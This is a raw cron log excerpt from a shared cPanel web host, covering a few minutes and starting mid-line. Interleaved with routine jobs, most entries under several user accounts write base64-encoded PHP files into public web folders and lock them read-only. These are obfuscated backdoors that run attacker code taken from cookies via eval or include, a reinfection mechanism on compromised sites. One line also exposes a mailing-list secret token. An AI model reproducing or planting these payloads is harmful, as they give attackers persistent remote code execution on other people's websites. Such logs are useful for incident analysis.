CAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:17:01 medusa CROND[21589]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:17:01 medusa CROND[21597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:17:01 medusa CROND[21598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:17:01 medusa CROND[21599]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:17:01 medusa CROND[21600]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:17:01 medusa CROND[21601]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:17:01 medusa CROND[21602]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:17:01 medusa CROND[21603]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 12:17:01 medusa CROND[21608]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:17:01 medusa CROND[21610]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:18:01 medusa CROND[9532]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:18:01 medusa CROND[9578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:18:01 medusa CROND[9584]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:18:01 medusa CROND[9585]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 12:18:01 medusa CROND[9586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:18:01 medusa CROND[9587]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:18:01 medusa CROND[9588]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:18:01 medusa CROND[9590]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:18:01 medusa CROND[9591]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:18:01 medusa CROND[9593]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:18:01 medusa CROND[9594]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:18:01 medusa CROND[9595]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:18:01 medusa CROND[9598]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:18:01 medusa CROND[9599]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:19:01 medusa CROND[27391]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:19:01 medusa CROND[27395]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:19:01 medusa CROND[27396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:19:01 medusa CROND[27400]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:19:01 medusa CROND[27409]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:19:01 medusa CROND[27410]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:19:01 medusa CROND[27411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
